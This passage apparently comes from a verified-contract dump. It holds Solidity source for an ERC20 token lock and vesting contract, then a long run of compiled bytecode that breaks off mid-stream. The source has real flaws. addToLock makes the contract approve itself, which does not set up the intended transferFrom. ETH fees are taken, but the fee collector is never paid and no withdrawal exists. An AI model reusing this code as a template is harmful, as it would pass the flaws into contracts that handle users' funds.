address ownerAddress;
uint256 amount;
uint256 unlockedAtTime;
uint256 lockCreatedAtTime;
bool hasWithdrawn;
}
address public owner;
address payable private feeCollector; //address for fees
uint256 public ethFeePerLock; //eth fee per address that a vest is created for
mapping(address => bool) addressExemptFromFee; //addresses not charged fee
mapping(address => bool) public feeExemptToken; // map if holding a token provides fee exemption
mapping(address => uint256) public tokenBalanceThreshold; // map token to required balance for fee exemption
uint256 public lockID; //current id
mapping (uint256 => Lock) public tokenLocked; // map id to lock parameters
//maps creator, owner, and token contract to token ids
mapping (address => uint256[]) public locksCreatedByAddress;
mapping (address => uint256[]) public locksOwnedByAddress;
mapping (address => uint256[]) public locksByTokenAddress;
//parameters for reentracy guard modifier
uint256 private constant functionCalled = 1;
uint256 private constant functionComplete = 2;
uint256 private status;
constructor(){
owner = msg.sender;
ethFeePerLock = 1e16;
}
//ensure resilience against re-entry attacks for function calls
modifier ReEntrancyGuard {
require(status != functionCalled);
status = functionCalled;
_;
status = functionComplete;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
event TokensLocked(address TokenAddress, address LockCreator, address LockOwner, uint256 Amount,uint256 UnlockedAtTime);
event TokensWithdrawn(uint256 LockID, address WithdrawnBy, uint256 Amount);
event LockExtended(uint256 LockID, uint256 PreviousUnlockTime, uint256 NewUnlockTime);
event LockOwnershipTransferred(uint256 LockID, address PreviousOwner, address NewOwner);
event LockBalanceIncreased(address Supplier,uint256 LockID,uint256 Amount);
// creates a single lock for small fee unless exempt and maps lock id to creator, owner, and token address. Msg.sender must apporve token amount priro
function lockTokens(address _tokenExemption, address _tokenAddress,address _ownerAddress,uint256 _amount,uint256 _unlockedAtTime) public payable ReEntrancyGuard{
//fee checks
bool takeFee = true;
// check if msg.sender is exempt from fee, check balances for tokens that grant fee exemption
if(addressExemptFromFee[msg.sender] || (feeExemptToken[_tokenExemption] && (ERC20(_tokenExemption).balanceOf(msg.sender) >= tokenBalanceThreshold[_tokenExemption]))){
takeFee = false;
}
if(takeFee) require(msg.value == ethFeePerLock, "Fee amount invalid");
//token balance and transfer checks
require(_amount > 0, "Must be more than 0");
require(ERC20(_tokenAddress).balanceOf(msg.sender)>= _amount, "Insuffecient balance");
require(ERC20(_tokenAddress).transferFrom(msg.sender, address(this), _amount), "Transfer failed");
//lock info recorded
uint256 _thisLockID = ++lockID;
locksCreatedByAddress[msg.sender].push(_thisLockID);
locksOwnedByAddress[_ownerAddress].push(_thisLockID);
locksByTokenAddress[_tokenAddress].push(_thisLockID);
Lock memory lock = Lock(_thisLockID, msg.sender, _tokenAddress, _ownerAddress, _amount, _unlockedAtTime, block.timestamp, false);
tokenLocked[_thisLockID] = lock;
emit TokensLocked(_tokenAddress, msg.sender, _ownerAddress, _amount, _unlockedAtTime);
}
//takes list of addresses to create a vest for which consists of locks, each with a time and amount that unlocks
function createVest(address _tokenExemption, address _tokenAddress, address[] calldata _vestOwnersAddresses, uint256 _totalAmount, uint256[] calldata _unlockTimes, uint256[] calldata _unlockAmounts) public payable ReEntrancyGuard {
//fee checks
bool takeFee = true;
// check if msg.sender is exempt from fee, check balances for tokens that grant fee exemption
if(addressExemptFromFee[msg.sender] || (feeExemptToken[_tokenExemption] && (ERC20(_tokenExemption).balanceOf(msg.sender) >= tokenBalanceThreshold[_tokenExemption]))){
takeFee = false;
}
//fee cost is ethFeePerLock multiplied by number of addresses vested for
uint256 feeCost = ethFeePerLock.mul(_vestOwnersAddresses.length);
if(takeFee) require(msg.value == feeCost, "Fee amount invalid");
//ensure number of locks per vest have corresponding unlock times and amounts
require(_unlockTimes.length == _unlockAmounts.length, "Array sizes must match");
//sum total token amount from all vests for all addresses
uint256 _sumOfUnlockAmounts;
for(uint256 i = 0; i < _unlockAmounts.length; i++){
_sumOfUnlockAmounts += _unlockAmounts[i];
}
uint256 _totalVestAmount = _sumOfUnlockAmounts.mul(_vestOwnersAddresses.length);
require(_totalAmount > 0 && _totalAmount == _totalVestAmount, "Invalid amount input");
//check msg.sender for total tokens vested and approve for transfer
require(ERC20(_tokenAddress).balanceOf(msg.sender) >= _totalAmount, "Insufficient balance");
//transfer total amount to this address for vests
require(ERC20(_tokenAddress).transferFrom(msg.sender, address(this), _totalAmount), "Transfer failed");
// for each address in array, create the series of locks from array of unlock times and amounts
for(uint256 i = 0; i < _vestOwnersAddresses.length; i++){
for(uint256 j = 0; j < _unlockTimes.length; j++){
//create new lock and record details
_lockTokens(msg.sender, _tokenAddress, _vestOwnersAddresses[i], _unlockAmounts[j], _unlockTimes[j]);
emit TokensLocked(_tokenAddress, msg.sender, _vestOwnersAddresses[i], _unlockAmounts[j], _unlockTimes[j]);
}
}
}
// used by createVest function to avoid stack too deep, creates a lock for parameters during array loop
function _lockTokens(address _createdBy, address _tokenAddress, address _ownerAddress, uint256 _amount, uint256 _unlockedAtTime) private {
//lock info recorded
uint256 _thisLockID = ++lockID;
locksCreatedByAddress[msg.sender].push(_thisLockID);
locksOwnedByAddress[_ownerAddress].push(_thisLockID);
locksByTokenAddress[_tokenAddress].push(_thisLockID);
Lock memory lock = Lock(_thisLockID, _createdBy, _tokenAddress, _ownerAddress, _amount, _unlockedAtTime, block.timestamp, false);
tokenLocked[_thisLockID] = lock;
}
// allows owner of lock to withdraw tokens if unlock time has passed and lock not already withdrawn
function withdrawAllTokens(uint256 _lockID) public ReEntrancyGuard {
require(block.timestamp >= tokenLocked[_lockID].unlockedAtTime, "Timed lock has not expired");
require(msg.sender == tokenLocked[_lockID].ownerAddress, "Not authorized to withdraw");
require(!tokenLocked[_lockID].hasWithdrawn, "Lock already withdrawn");
require(ERC20(tokenLocked[_lockID].tokenAddress).transfer(msg.sender, tokenLocked[_lockID].amount), "Tokens not withdrawn");
tokenLocked[_lockID].hasWithdrawn = true;
emit TokensWithdrawn(_lockID, msg.sender, tokenLocked[_lockID].amount);
}
//owner can choose to extend lock period if needed
function extendLock(uint256 _lockID, uint256 _newUnlockTime) public ReEntrancyGuard{
require(msg.sender == tokenLocked[_lockID].ownerAddress);
require(_newUnlockTime > tokenLocked[_lockID].unlockedAtTime);
uint256 previousUnlockAtTime = tokenLocked[_lockID].unlockedAtTime;
tokenLocked[_lockID].unlockedAtTime = _newUnlockTime;
emit LockExtended(_lockID, previousUnlockAtTime, _newUnlockTime);
}
//increase tokens available in a specific vested lock
function addToLock(uint256 _lockID, address _tokenAddress, uint256 _amount) public ReEntrancyGuard{
require(_amount > 0, "Invalid amount");
require(tokenLocked[_lockID].unlockedAtTime > block.timestamp, "Lock has expired");
require(tokenLocked[_lockID].tokenAddress == _tokenAddress, "Token not held in lock");
require(ERC20(_tokenAddress).balanceOf(msg.sender) >= _amount, "Insuffecient balance");
require(ERC20(_tokenAddress).approve(address(this), _amount), "Must approve to transfer");
require(ERC20(_tokenAddress).transferFrom(msg.sender, address(this), _amount), "Tokens not transferred");
tokenLocked[_lockID].amount = tokenLocked[_lockID].amount.add(_amount);
emit LockBalanceIncreased(msg.sender, _lockID, _amount);
}
function getTokenLockInformation(uint256 _lockID) view external returns(address, address, uint256, uint256, uint256, bool){
return(tokenLocked[_lockID].tokenAddress,tokenLocked[_lockID].ownerAddress,tokenLocked[_lockID].amount,tokenLocked[_lockID].unlockedAtTime,tokenLocked[_lockID].lockCreatedAtTime,tokenLocked[_lockID].hasWithdrawn);
}
function getTokenLocksCreatedByAddress(address _locksCreatedByAddress) view external returns( uint256[] memory){
return locksCreatedByAddress[_locksCreatedByAddress];
}
function getLockedTokensOwnedByAddress(address _locksOwnedByAddress) view external returns(uint256[] memory){
return locksOwnedByAddress[_locksOwnedByAddress];
}
function getLockedTokensByTokenAddress(address _tokenAddress) view external returns(uint256[] memory){
return locksByTokenAddress[_tokenAddress];
}
//transfer ownership of vest
function transferVestOwnerShip(uint256 _lockID, address _newOwner) external {
require(msg.sender == tokenLocked[_lockID].ownerAddress, "Not owner");
tokenLocked[_lockID].ownerAddress = _newOwner;
emit LockOwnershipTransferred(_lockID, msg.sender, _newOwner);
}
function setFeeCollectorWallet(address payable _feeCollector) external onlyOwner{
feeCollector = _feeCollector;
}
function setETHFee(uint256 _fee) external onlyOwner{
ethFeePerLock = _fee;
}
function getTime() external view returns(uint256){
return block.timestamp;
}
function transferContracOwnership(address _newOwner) external onlyOwner{
owner = _newOwner;
}
}
|
0x6080604052600436106101405760003560e01c80637ff5aa2b116100b6578063d5cf88f81161006f578063d5cf88f81461084e578063dc0a10dd146108bd578063ecda93f61461092c578063edcc67e014610a99578063f1f563fc14610b08578063f954662114610b6d57610140565b80637ff5aa2b146105d857806387487154146106295780638da5cb5b1461067a5780639e6d5e59146106bb578063ad233a6514610716578063d3a07c93146107b657610140565b80633e6d6d26116101085780633e6d6d26146103665780633e8f682f146103a157806346694b7d146103dc5780634ccd805e146104a0578063557ed1ba14610507578063791e0f791461053257610140565b8063070d66bf1461014557806319b0ce851461018a578063246f899a1461023057806339acf6761461025b5780633d79d5b714610301575b600080fd5b34801561015157600080fd5b506101886004803603604081101561016857600080fd5b810190808035906020019092919080359060200190929190505050610b98565b005b34801561019657600080fd5b506101d9600480360360208110156101ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cca565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561021c578082015181840152602081019050610201565b505050509050019250505060405180910390f35b34801561023c57600080fd5b50610245610d61565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102aa6004803603602081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d67565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156102ed5780820151818401526020810190506102d2565b505050509050019250505060405180910390f35b34801561030d57600080fd5b506103646004803603606081101561032457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dfe565b005b34801561037257600080fd5b5061039f6004803603602081101561038957600080fd5b810190808035906020019092919050505061140c565b005b3480156103ad57600080fd5b506103da600480360360208110156103c457600080fd5b8101908080359060200190929190505050611835565b005b3480156103e857600080fd5b50610415600480360360208110156103ff57600080fd5b8101908080359060200190929190505050611897565b604051808981526020018873ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815260200183815260200182151581526020019850505050505050505060405180910390f35b3480156104ac57600080fd5b506104ef600480360360208110156104c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061194c565b60405180821515815260200191505060405180910390f35b34801561051357600080fd5b5061051c61196c565b6040518082815260200191505060405180910390f35b34801561053e57600080fd5b506105816004803603602081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611974565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105c45780820151818401526020810190506105a9565b505050509050019250505060405180910390f35b3480156105e457600080fd5b50610627600480360360208110156105fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a0b565b005b34801561063557600080fd5b506106786004803603602081101561064c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aa7565b005b34801561068657600080fd5b5061068f611b42565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c757600080fd5b50610714600480360360408110156106de57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b66565b005b34801561072257600080fd5b5061074f6004803603602081101561073957600080fd5b8101908080359060200190929190505050611d09565b604051808773ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018215158152602001965050505050505060405180910390f35b61084c600480360360a08110156107cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611dfe565b005b34801561085a57600080fd5b506108a76004803603604081101561087157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126a1565b6040518082815260200191505060405180910390f35b3480156108c957600080fd5b50610916600480360360408110156108e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126d2565b6040518082815260200191505060405180910390f35b610a97600480360360c081101561094257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561099f57600080fd5b8201836020820111156109b157600080fd5b803590602001918460208302840111640100000000831117156109d357600080fd5b909192939192939080359060200190929190803590602001906401000000008111156109fe57600080fd5b820183602082011115610a1057600080fd5b80359060200191846020830284011164010000000083111715610a3257600080fd5b909192939192939080359060200190640100000000811115610a5357600080fd5b820183602082011115610a6557600080fd5b80359060200191846020830284011164010000000083111715610a8757600080fd5b9091929391929390505050612703565b005b348015610aa557600080fd5b50610af260048036036040811015610abc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612e7e565b6040518082815260200191505060405180910390f35b348015610b1457600080fd5b50610b5760048036036020811015610b2b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612eaf565b6040518082815260200191505060405180910390f35b348015610b7957600080fd5b50610b82612ec7565b6040518082815260200191505060405180910390f35b6001600b541415610ba857600080fd5b6001600b819055506007600083815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1e57600080fd5b60076000838152602001908152602001600020600501548111610c4057600080fd5b6000600760008481526020019081526020016000206005015490508160076000858152602001908152602001600020600501819055507f12c0f64f942f99aa5210c23a8ab729735389400457b66b06895b0700315c3b3383828460405180848152602001838152602001828152602001935050505060405180910390a1506002600b819055505050565b6060600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015610d5557602002820191906000526020600020905b815481526020019060010190808311610d41575b50505050509050919050565b60025481565b6060600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015610df257602002820191906000526020600020905b815481526020019060010190808311610dde575b50505050509050919050565b6001600b541415610e0e57600080fd5b6001600b8190555060008111610e8c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c696420616d6f756e7400000000000000000000000000000000000081525060200191505060405180910390fd5b42600760008581526020019081526020016000206005015411610f17576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4c6f636b2068617320657870697265640000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166007600085815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f546f6b656e206e6f742068656c6420696e206c6f636b0000000000000000000081525060200191505060405180910390fd5b808273ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561105657600080fd5b505afa15801561106a573d6000803e3d6000fd5b505050506040513d602081101561108057600080fd5b81019080805190602001909291905050501015611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e73756666656369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663095ea7b330836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561117657600080fd5b505af115801561118a573d6000803e3d6000fd5b505050506040513d60208110156111a057600080fd5b8101908080519060200190929190505050611223576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4d75737420617070726f766520746f207472616e73666572000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156112b257600080fd5b505af11580156112c6573d6000803e3d6000fd5b505050506040513d60208110156112dc57600080fd5b810190808051906020019092919050505061135f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f546f6b656e73206e6f74207472616e736665727265640000000000000000000081525060200191505060405180910390fd5b611388816007600086815260200190815260200160002060040154612ecd90919063ffffffff16565b60076000858152602001908152602001600020600401819055507f166f15bc671b4b8d8d955f58689b63183bf832266a7f0a6dfc2089b6a779f08b338483604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a16002600b81905550505050565b6001600b54141561141c57600080fd5b6001600b8190555060076000828152602001908152602001600020600501544210156114b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f54696d6564206c6f636b20686173206e6f74206578706972656400000000000081525060200191505060405180910390fd5b6007600082815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4e6f7420617574686f72697a656420746f20776974686472617700000000000081525060200191505060405180910390fd5b6007600082815260200190815260200160002060070160009054906101000a900460ff161561161e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4c6f636b20616c72656164792077697468647261776e0000000000000000000081525060200191505060405180910390fd5b6007600082815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3360076000858152602001908152602001600020600401546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156116db57600080fd5b505af11580156116ef573d6000803e3d6000fd5b505050506040513d602081101561170557600080fd5b8101908080519060200190929190505050611788576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f546f6b656e73206e6f742077697468647261776e00000000000000000000000081525060200191505060405180910390fd5b60016007600083815260200190815260200160002060070160006101000a81548160ff0219169083151502179055507f3f5fbaf86658fdadee77f1d46e7f8a72424ad9839eda6a1dc6eb0a4228e4226e81336007600085815260200190815260200160002060040154604051808481526020018373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a16002600b8190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461188d57600080fd5b8060028190555050565b60076020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060040154908060050154908060060154908060070160009054906101000a900460ff16905088565b60046020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6060600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156119ff57602002820191906000526020600020905b8154815260200190600101908083116119eb575b50505050509050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a6357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611aff57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6007600083815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c3d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806007600084815260200190815260200160002060030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f94cb47eeeeb76a68c4d24f7c656bc9e63d5bc82211fc7784b33e438103b2f873823383604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a15050565b6000806000806000806007600088815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166007600089815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760008a815260200190815260200160002060040154600760008b815260200190815260200160002060050154600760008c815260200190815260200160002060060154600760008d815260200190815260200160002060070160009054906101000a900460ff1695509550955095509550955091939550919395565b6001600b541415611e0e57600080fd5b6001600b81905550600060019050600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fa95750600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611fa85750600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611f6a57600080fd5b505afa158015611f7e573d6000803e3d6000fd5b505050506040513d6020811015611f9457600080fd5b810190808051906020019092919050505010155b5b15611fb357600090505b8015612031576002543414612030576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f46656520616d6f756e7420696e76616c6964000000000000000000000000000081525060200191505060405180910390fd5b5b600083116120a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4d757374206265206d6f7265207468616e20300000000000000000000000000081525060200191505060405180910390fd5b828573ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561210f57600080fd5b505afa158015612123573d6000803e3d6000fd5b505050506040513d602081101561213957600080fd5b810190808051906020019092919050505010156121be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e73756666656369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561224d57600080fd5b505af1158015612261573d6000803e3d6000fd5b505050506040513d602081101561227757600080fd5b81019080805190602001909291905050506122fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5472616e73666572206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b60006006600081546001019190508190559050600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819080600181540180825580915050600190039060005260206000200160009091909190915055600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819080600181540180825580915050600190039060005260206000200160009091909190915055600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081908060018154018082558091505060019003906000526020600020016000909190919091505560006040518061010001604052808381526020013373ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff16815260200186815260200185815260200142815260200160001515815250905080600760008481526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506080820151816004015560a0820151816005015560c0820151816006015560e08201518160070160006101000a81548160ff0219169083151502179055509050507f0f7ae9891fe5b877ffdd33621970db3e5d162185914f1db43da2474c9fbc29488733888888604051808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019550505050505060405180910390a15050506002600b819055505050505050565b600a60205281600052604060002081815481106126bd57600080fd5b90600052602060002001600091509150505481565b600860205281600052604060002081815481106126ee57600080fd5b90600052602060002001600091509150505481565b6001600b54141561271357600080fd5b6001600b81905550600060019050600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128ae5750600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156128ad5750600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a73ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561286f57600080fd5b505afa158015612883573d6000803e3d6000fd5b505050506040513d602081101561289957600080fd5b810190808051906020019092919050505010155b5b156128b857600090505b60006128d289899050600254612eec90919063ffffffff16565b905081156129505780341461294f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f46656520616d6f756e7420696e76616c6964000000000000000000000000000081525060200191505060405180910390fd5b5b8383905086869050146129cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f41727261792073697a6573206d757374206d617463680000000000000000000081525060200191505060405180910390fd5b600080600090505b85859050811015612a02578585828181106129ea57fe5b905060200201358201915080806001019150506129d3565b506000612a1b8b8b905083612eec90919063ffffffff16565b9050600089118015612a2c57508089145b612a9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e76616c696420616d6f756e7420696e70757400000000000000000000000081525060200191505060405180910390fd5b888c73ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612b0657600080fd5b505afa158015612b1a573d6000803e3d6000fd5b505050506040513d6020811015612b3057600080fd5b81019080805190602001909291905050501015612bb5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b8b73ffffffffffffffffffffffffffffffffffffffff166323b872dd33308c6040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015612c4457600080fd5b505af1158015612c58573d6000803e3d6000fd5b505050506040513d6020811015612c6e57600080fd5b8101908080519060200190929190505050612cf1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5472616e73666572206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8b8b9050811015612e665760005b89899050811015612e5857612d66338f8f8f86818110612d1e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff168b8b86818110612d4757fe5b905060200201358e8e87818110612d5a57fe5b90506020020135612f72565b7f0f7ae9891fe5b877ffdd33621970db3e5d162185914f1db43da2474c9fbc29488e338f8f86818110612d9557fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff168b8b86818110612dbe57fe5b905060200201358e8e87818110612dd157fe5b90506020020135604051808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019550505050505060405180910390a18080600101915050612d02565b508080600101915050612cf4565b50505050506002600b81905550505050505050505050565b60096020528160005260406000208181548110612e9a57600080fd5b90600052602060002001600091509150505481565b60056020528060005260406000206000915090505481565b60065481565b600080828401905083811015612ee257600080fd5b8091505092915050565b600080831415612eff5760009050612f6c565b6000828402905082848281612f1057fe5b0414612f67576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132786021913960400191505060405180910390fd5b809150505b92915050565b60006006600081546001019190508190559050600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819080600181540180825580915050600190039060005260206000200160009091909190915055600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819080600181540180825580915050600190039060005260206000200160009091909190915055600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081908060018154018082558091505060019003906000526020600020016000909190919091505560006040518061010001604052808381526020018873ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff16815260200185